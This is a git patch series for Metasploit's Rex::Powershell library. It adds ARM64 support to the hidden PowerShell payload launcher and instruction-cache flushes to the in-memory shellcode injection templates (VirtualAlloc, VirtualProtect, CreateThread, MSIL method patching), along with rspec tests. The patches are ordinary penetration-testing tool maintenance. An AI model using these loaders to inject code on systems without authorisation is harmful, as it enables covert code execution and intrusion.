From 9a7ddd9ea6860a02e29cf93118d2505e839d0d23 Mon Sep 17 00:00:00 2001 From: vinicius-batistella Date: Tue, 18 Aug 2026 21:05:16 -0300 Subject: [PATCH 1/4] Add AArch64 host detection to run_hidden_psh [IntPtr]::Size cannot tell an ARM64 process apart from an x64 one (both have 8-byte pointers), so the existing wrapper picked the wrong powershell.exe on Windows-on-ARM whenever the payload architecture mattered. Metasploit's psexec module currently keeps AArch64 payloads off the PowerShell delivery path for this reason. Prepend two branches to the emitted architecture-detection block: - PROCESSOR_ARCHITECTURE == ARM64 for native ARM64 processes. An 'aarch64' payload targets the current binary (System32 already resolves to the ARM64 powershell.exe on WoA); an 'x86' payload hops to SysWOW64 as before. - PROCESSOR_ARCHITEW6432 == ARM64 for a 32-bit process on a WoA host. An 'aarch64' payload escapes WOW64 filesystem redirection via sysnative to reach the native ARM64 powershell.exe. The existing IntPtr::Size branches are preserved and continue to handle every non-WoA case. The 'aarch64' string is documented on both run_hidden_psh and cmd_psh_payload. No template changes: the reflection and dotnet templates already transition memory PAGE_READWRITE -> PAGE_EXECUTE_READ via VirtualProtect, which implicitly invalidates the ARM64 icache for the range, so injected AArch64 shellcode is coherent by the time CreateThread executes it. Verified on Windows 11 26200 (ARM64, Qualcomm) with a minimal 'mov x0,0; ret' probe. Bumps the gem to 0.1.105 for consumers. Co-authored-by: Cursor --- lib/rex/powershell/command.rb | 47 ++++++++++++++++++++++++++--- lib/rex/powershell/version.rb | 2 +- spec/rex/powershell/command_spec.rb | 33 ++++++++++++++++++++ 3 files changed, 76 insertions(+), 6 deletions(-) diff --git a/lib/rex/powershell/command.rb b/lib/rex/powershell/command.rb index 0e9bffa..93015a9 100644 --- a/lib/rex/powershell/command.rb +++ b/lib/rex/powershell/command.rb @@ -208,8 +208,14 @@ def self.generate_psh_args(opts) # detect the execution environment and spawn the appropriate # powershell executable for the payload architecture. # + # ARM64 note: [IntPtr]::Size cannot tell an ARM64 process apart from an x64 + # one, so PROCESSOR_ARCHITECTURE (and PROCESSOR_ARCHITEW6432 for a 32-bit + # process on Windows-on-ARM) is consulted first. A payload_arch of + # 'aarch64' targets the native ARM64 powershell.exe under System32 + # (reached via sysnative when the current process is 32-bit). + # # @param ps_code [String] Powershell code - # @param payload_arch [String] The payload architecture 'x86'/'x86_64' + # @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64' # @param encoded [Boolean] Indicates whether ps_code is encoded or not # @param opts [Hash] The options for generate_psh_args # @@ -240,11 +246,42 @@ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={}) EOS process_start_info.gsub!("\n", ';') + # Path helpers keep the emitted PowerShell readable and single-quoted so no + # further escaping is required at the target. + native_ps = "$b='powershell.exe'" + syswow64_ps = "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" + sysnative_ps = "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'" + + # On Windows-on-ARM the native host is the ARM64 powershell.exe; the + # 32-bit x86 host still lives under SysWOW64. When we're already inside a + # 32-bit process on WoA, PROCESSOR_ARCHITECTURE reports 'x86' and + # PROCESSOR_ARCHITEW6432 reports 'ARM64', so we escape to native via + # sysnative. x86_64 payloads on WoA fall through to native and rely on + # the OS x64 emulator, which is best-effort. + arm64_native_branch = case payload_arch + when 'aarch64' then native_ps + when 'x86' then syswow64_ps + else native_ps + end + + arm64_wow64_branch = case payload_arch + when 'aarch64' then sysnative_ps + when 'x86' then native_ps + else sysnative_ps + end + + intptr4_branch = payload_arch == 'x86' ? native_ps : sysnative_ps + intptr8_branch = payload_arch == 'x86' ? syswow64_ps : native_ps + archictecure_detection = < Date: Wed, 19 Aug 2026 13:48:33 -0300 Subject: [PATCH 2/4] Fix architecture_detection typo in run_hidden_psh Rename the pre-existing archictecure_detection local so the generated-code wrapper is easier to search. Behavior is unchanged. Co-authored-by: Cursor --- lib/rex/powershell/command.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/powershell/command.rb b/lib/rex/powershell/command.rb index 93015a9..1191109 100644 --- a/lib/rex/powershell/command.rb +++ b/lib/rex/powershell/command.rb @@ -273,7 +273,7 @@ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={}) intptr4_branch = payload_arch == 'x86' ? native_ps : sysnative_ps intptr8_branch = payload_arch == 'x86' ? syswow64_ps : native_ps - archictecure_detection = < Date: Fri, 28 Aug 2026 17:52:00 -0500 Subject: [PATCH 3/4] Update templates and add rspecs --- data/templates/to_mem_dotnet.ps1.template | 2 ++ data/templates/to_mem_msil.ps1.template | 17 +++++++++++++++-- data/templates/to_mem_old.ps1.template | 4 ++++ .../templates/to_mem_pshreflection.ps1.template | 3 ++- lib/rex/powershell/command.rb | 2 +- lib/rex/powershell/payload.rb | 5 +++++ spec/rex/powershell/command_spec.rb | 6 +++++- 7 files changed, 34 insertions(+), 5 deletions(-) diff --git a/data/templates/to_mem_dotnet.ps1.template b/data/templates/to_mem_dotnet.ps1.template index c17496e..16bff61 100644 --- a/data/templates/to_mem_dotnet.ps1.template +++ b/data/templates/to_mem_dotnet.ps1.template @@ -9,6 +9,7 @@ $%{var_syscode} = @" [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, int flNewProtect,out int lpflOldProtect); + [DllImport("kernel32.dll")] public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); } @@ -29,6 +30,7 @@ if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return } [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length) if ([%{var_kernel32}.func]::VirtualProtect($%{var_baseaddr},[Uint32]$%{var_code}.Length + 1, [%{var_kernel32}.func+MemoryProtection]::Execute, [Ref]$%{var_opf}) -eq $true ) { + [%{var_kernel32}.func]::FlushInstructionCache([IntPtr](-1), $%{var_baseaddr}, [UIntPtr]($%{var_code}.Length + 1)) | Out-Null [IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0) if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return } $%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite) diff --git a/data/templates/to_mem_msil.ps1.template b/data/templates/to_mem_msil.ps1.template index 45ce487..77260e0 100644 --- a/data/templates/to_mem_msil.ps1.template +++ b/data/templates/to_mem_msil.ps1.template @@ -46,9 +46,18 @@ $%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Xor) $%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Ret) $%{var_tgt_meth} = ($%{var_dyn_type}.CreateType()).GetMethod('%{str_tgt_meth}') +if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') { + $%{var_flush_type} = %{func_build_dyn_type}('%{str_flush_type}') + $%{var_flush_method} = $%{var_flush_type}.DefinePInvokeMethod('%{str_flush_method}', 'kernel32.dll', 'FlushInstructionCache', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static -bOr [System.Reflection.MethodAttributes]::PinvokeImpl, [System.Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UIntPtr]), [System.Runtime.InteropServices.CallingConvention]::Winapi, [System.Runtime.InteropServices.CharSet]::Auto) + $%{var_flush_method}.SetImplementationFlags($%{var_flush_method}.GetMethodImplementationFlags() -bOr [System.Reflection.MethodImplAttributes]::PreserveSig) + $%{var_flush_method} = ($%{var_flush_type}.CreateType()).GetMethod('%{str_flush_method}') +} + foreach ($Exec in 1..20) { $%{var_tgt_meth}.Invoke($null, @(0x11112222)) | Out-Null } -if ( [IntPtr]::Size -eq 4 ) { +if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') { + $%{var_sc} = [Byte[]] @(0xF3,0x53,0xBA,0xA9,0xF5,0x5B,0x01,0xA9,0xF7,0x63,0x02,0xA9,0xF9,0x6B,0x03,0xA9,0xFB,0x73,0x04,0xA9,0xFD,0x7B,0x05,0xA9,0x09,0x00,0x00,0x94,0xFD,0x7B,0x45,0xA9,0xFB,0x73,0x44,0xA9,0xF9,0x6B,0x43,0xA9,0xF7,0x63,0x42,0xA9,0xF5,0x5B,0x41,0xA9,0xF3,0x53,0xC6,0xA8,0x00,0x00,0x80,0xD2,0xC0,0x03,0x5F,0xD6) +} elseif ( [IntPtr]::Size -eq 4 ) { $%{var_sc} = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3) } else { $%{var_sc} = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,0x31,0xC0,0xC3) @@ -58,10 +67,14 @@ $%{var_sc_addr} = [Runtime.InteropServices.Marshal]::AllocHGlobal($%{var_sc}.Len [Runtime.InteropServices.Marshal]::Copy($%{var_sc}, 0, $%{var_sc_addr}, $%{var_sc}.Length) $%{var_args} = New-Object Object[](3) -$%{var_args}[0] = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth}) +$%{var_tgt_addr} = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth}) +$%{var_args}[0] = $%{var_tgt_addr} $%{var_args}[1] = $%{var_sc_addr} $%{var_args}[2] = $%{var_sc}.Length $%{var_src_meth}.Invoke($null, $%{var_args}) +if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') { + $%{var_flush_method}.Invoke($null, @([IntPtr](-1), $%{var_tgt_addr}, [UIntPtr]$%{var_sc}.Length)) | Out-Null +} $%{var_tgt_meth}.Invoke($null, @(0x11112222)) diff --git a/data/templates/to_mem_old.ps1.template b/data/templates/to_mem_old.ps1.template index 9d524f5..65a75b6 100644 --- a/data/templates/to_mem_old.ps1.template +++ b/data/templates/to_mem_old.ps1.template @@ -2,6 +2,8 @@ $%{var_syscode} = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] +public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize); +[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); "@ @@ -13,4 +15,6 @@ $%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length [System.Runtime.InteropServices.Marshal]::Copy($%{var_code},0,$%{var_rwx},$%{var_code}.Length) +$%{var_win32_func}::FlushInstructionCache([IntPtr](-1),$%{var_rwx},[UIntPtr]$%{var_code}.Length) | Out-Null + $%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0) diff --git a/data/templates/to_mem_pshreflection.ps1.template b/data/templates/to_mem_pshreflection.ps1.template index 749a254..e8c2ce7 100644 --- a/data/templates/to_mem_pshreflection.ps1.template +++ b/data/templates/to_mem_pshreflection.ps1.template @@ -24,6 +24,7 @@ $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctio [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length) if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) { - $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero) + [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll FlushInstructionCache), (%{func_get_delegate_type} @([IntPtr], [IntPtr], [UIntPtr]) ([Bool]))).Invoke([IntPtr](-1), $%{var_buffer}, [UIntPtr]$%{var_code}.Length) | Out-Null + $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null } diff --git a/lib/rex/powershell/command.rb b/lib/rex/powershell/command.rb index 1191109..7e23fd9 100644 --- a/lib/rex/powershell/command.rb +++ b/lib/rex/powershell/command.rb @@ -314,7 +314,7 @@ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={}) # @option opts [Integer] :prepend_sleep Sleep for the specified time # before executing the payload # @option opts [String] :method The powershell injection technique to - # use: 'net'/'reflection'/'old' + # use: 'net'/'reflection'/'old'/'msil' # @option opts [Boolean] :encode_inner_payload Encodes the powershell # script within the hidden/architecture detection wrapper # @option opts [Boolean] :encode_final_payload Encodes the final diff --git a/lib/rex/powershell/payload.rb b/lib/rex/powershell/payload.rb index 21bb23d..f239584 100644 --- a/lib/rex/powershell/payload.rb +++ b/lib/rex/powershell/payload.rb @@ -95,10 +95,15 @@ def self.to_win32pe_psh_msil(template_path = TEMPLATE_DIR, code) rig.init_var(:var_sc_addr) rig.init_var(:var_sc) rig.init_var(:var_src_meth) + rig.init_var(:var_tgt_addr) + rig.init_var(:var_flush_type) + rig.init_var(:var_flush_method) rig.init_var(:str_addr_loc) rig.init_var(:str_tgt_meth) rig.init_var(:str_src_type) rig.init_var(:str_tgt_type) + rig.init_var(:str_flush_type) + rig.init_var(:str_flush_method) hash_sub = rig.to_h hash_sub[:b64shellcode] = Rex::Text.encode_base64(code) diff --git a/spec/rex/powershell/command_spec.rb b/spec/rex/powershell/command_spec.rb index 53fff52..869e6c3 100644 --- a/spec/rex/powershell/command_spec.rb +++ b/spec/rex/powershell/command_spec.rb @@ -268,6 +268,11 @@ def decompress(code) code = subject.cmd_psh_payload(payload, arch, template_path, method: 'msil') expect(decompress(code).include?('System.Reflection.MethodInfo')).to be_truthy end + + it 'generates a command line for an aarch64 payload' do + code = subject.cmd_psh_payload(payload, 'aarch64', template_path, method: 'msil') + expect(decompress(code)).to include("$env:PROCESSOR_ARCHITECTURE -eq 'ARM64'") + end end context 'when method is unknown' do @@ -434,4 +439,3 @@ def decompress(code) end end - From 2b1af4340b16c15cad71d9bd11bf4f49e65b656c Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 28 Aug 2026 17:53:35 -0500 Subject: [PATCH 4/4] Actually add the rspecs --- spec/rex/powershell/payload_spec.rb | 66 +++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 spec/rex/powershell/payload_spec.rb diff --git a/spec/rex/powershell/payload_spec.rb b/spec/rex/powershell/payload_spec.rb new file mode 100644 index 0000000..6abccbb --- /dev/null +++ b/spec/rex/powershell/payload_spec.rb @@ -0,0 +1,66 @@ +# -*- coding:binary -*- +require 'spec_helper' + +RSpec.describe Rex::Powershell::Payload do + let(:payload) { Rex::Text.rand_text_alpha(120) } + let(:template_path) { File.expand_path('../../../data/templates', __dir__) } + + describe 'shellcode templates' do + { + dotnet: :to_win32pe_psh_net, + reflection: :to_win32pe_psh_reflection, + old: :to_win32pe_psh + }.each do |name, method| + it "flushes the instruction cache before executing the #{name} payload" do + script = described_class.public_send(method, template_path, payload) + copy_index = script.index('[System.Runtime.InteropServices.Marshal]::Copy') + flush_index = script.rindex('FlushInstructionCache') + execute_index = script.rindex('CreateThread') + + expect(copy_index).to be < flush_index + expect(flush_index).to be < execute_index + end + end + + it 'uses an aarch64 trampoline and flushes the patched MSIL method' do + script = described_class.to_win32pe_psh_msil(template_path, payload) + flush_method = script[/^\s*(\$\w+) = \$\w+\.DefinePInvokeMethod/m, 1] + trampoline = script[/PROCESSOR_ARCHITECTURE -eq 'ARM64'\) \{\s+\$\w+ = \[Byte\[\]\] @\(([^)]*)\)/, 1] + trampoline_bytes = trampoline.split(',').map { |byte| Integer(byte, 0) } + expected_trampoline = [ + 0xf3, 0x53, 0xba, 0xa9, # stp x19, x20, [sp, #-96]! + 0xf5, 0x5b, 0x01, 0xa9, # stp x21, x22, [sp, #16] + 0xf7, 0x63, 0x02, 0xa9, # stp x23, x24, [sp, #32] + 0xf9, 0x6b, 0x03, 0xa9, # stp x25, x26, [sp, #48] + 0xfb, 0x73, 0x04, 0xa9, # stp x27, x28, [sp, #64] + 0xfd, 0x7b, 0x05, 0xa9, # stp x29, x30, [sp, #80] + 0x09, 0x00, 0x00, 0x94, # bl payload + 0xfd, 0x7b, 0x45, 0xa9, # ldp x29, x30, [sp, #80] + 0xfb, 0x73, 0x44, 0xa9, # ldp x27, x28, [sp, #64] + 0xf9, 0x6b, 0x43, 0xa9, # ldp x25, x26, [sp, #48] + 0xf7, 0x63, 0x42, 0xa9, # ldp x23, x24, [sp, #32] + 0xf5, 0x5b, 0x41, 0xa9, # ldp x21, x22, [sp, #16] + 0xf3, 0x53, 0xc6, 0xa8, # ldp x19, x20, [sp], #96 + 0x00, 0x00, 0x80, 0xd2, # mov x0, #0 + 0xc0, 0x03, 0x5f, 0xd6 # ret + ] + + expect(trampoline_bytes).to eq(expected_trampoline) + expect(script).to include("'kernel32.dll', 'FlushInstructionCache'") + expect(flush_method).not_to be_nil + expect(script.index("#{flush_method}.Invoke")).to be < script.rindex('.Invoke($null, @(0x11112222))') + end + + it 'only defines and invokes the MSIL cache flush on ARM64' do + script = described_class.to_win32pe_psh_msil(template_path, payload) + arm64_block_pattern = /if \(\$env:PROCESSOR_ARCHITECTURE -eq 'ARM64'\) \{([^}]+)\}/m + arm64_blocks = script.scan(arm64_block_pattern).flatten + non_arm64_code = script.gsub(arm64_block_pattern, '') + + expect(arm64_blocks.any? { |block| block.include?('DefinePInvokeMethod') }).to be(true) + expect(arm64_blocks.any? { |block| block.include?('[IntPtr](-1)') }).to be(true) + expect(non_arm64_code).not_to include('DefinePInvokeMethod') + expect(non_arm64_code).not_to include('[IntPtr](-1)') + end + end +end